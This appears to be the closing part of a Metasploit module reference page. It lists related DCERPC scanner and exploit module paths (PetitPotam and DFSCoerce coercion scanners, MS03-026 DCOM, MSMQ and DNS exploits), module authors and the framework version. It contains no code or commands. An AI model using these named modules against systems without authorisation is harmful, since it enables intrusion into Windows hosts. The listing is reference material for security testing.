- auxiliary/scanner/dcerpc/dfscoerce
- auxiliary/scanner/dcerpc/endpoint_mapper
- auxiliary/scanner/dcerpc/hidden
- auxiliary/scanner/dcerpc/management
- auxiliary/scanner/dcerpc/petitpotam
- auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
- auxiliary/scanner/dcerpc/windows_deployment_services
- exploit/windows/dcerpc/ms03_026_dcom
- exploit/windows/dcerpc/ms05_017_msmq
- exploit/windows/dcerpc/ms07_029_msdns_zonename
- exploit/windows/dcerpc/ms07_065_msmq
- auxiliary/scanner/smb/pipe_dcerpc_auditor
Authors
- Zhiniang Peng
- Xuefeng Li
- Zhipeng Huo
- Piotr Madej
- Zhang Yunhai
- cube0x0
- Spencer McIntyre
- Christophe De La Fuente
Version
This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.